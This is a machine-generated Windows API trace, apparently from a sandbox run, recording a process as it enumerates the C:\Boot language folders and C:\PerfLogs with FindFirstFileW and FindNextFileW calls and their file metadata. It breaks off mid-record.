[0039.474] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.474] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.474] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.474] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0039.474] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.474] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.475] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.475] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.476] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.476] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.476] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0039.476] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.476] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.476] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.476] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.476] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.476] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.476] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0039.477] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.477] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.477] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.477] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.478] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.478] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.478] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0039.478] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.478] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.478] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.478] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.478] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.478] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.478] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0039.478] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.479] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.479] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.479] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.480] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.480] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.480] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0039.480] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.480] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.480] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.480] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.480] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.480] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.480] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0039.481] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.481] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692dc0 [0039.547] FindNextFileW (in: hFindFile=0x692dc0, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.547] FindNextFileW (in: hFindFile=0x692dc0, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.547] FindClose (in: hFindFile=0x692dc0 | out: hFindFile=0x692dc0) returned 1 [0039.547] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.547] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0039.547] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.547] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692dc0 [0039.548] FindNextFileW (in: hFindFile=0x692dc0, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.548] FindNextFileW (in: hFindFile=0x692dc0, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.548] FindClose (in: hFindFile=0x692dc0 | out: hFindFile=0x692dc0) returned 1 [0039.548] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.548] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0039.548] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.548] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x696d18 [0039.702] FindNextFileW (in: hFindFile=0x696d18, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.703] FindNextFileW (in: hFindFile=0x696d18, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.476] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f021c8 [0040.476] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.476] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0040.476] FindClose (in: hFindFile=0x3f021c8 | out: hFindFile=0x3f021c8) returned 1 [0040.477] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3ef1060 | out: hHeap=0x5a0000) returned 1 [0040.477] FindNextFileW (in: hFindFile=0x3f02088, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0040.477] FindClose (in: hFindFile=0x3f02088 | out: hFindFile=0x3f02088) returned 1 [0040.477] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3ed0048 | out: hHeap=0x5a0000) returned 1 [0040.477] FindNextFileW (in: hFindFile=0x6931b8, lpFindFileData=0x3a8fd00 | out: lpFindFileData=0x3a8fd00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc53fc030, ftLastAccessTime.dwHighDateTime=0x1d58aa8, 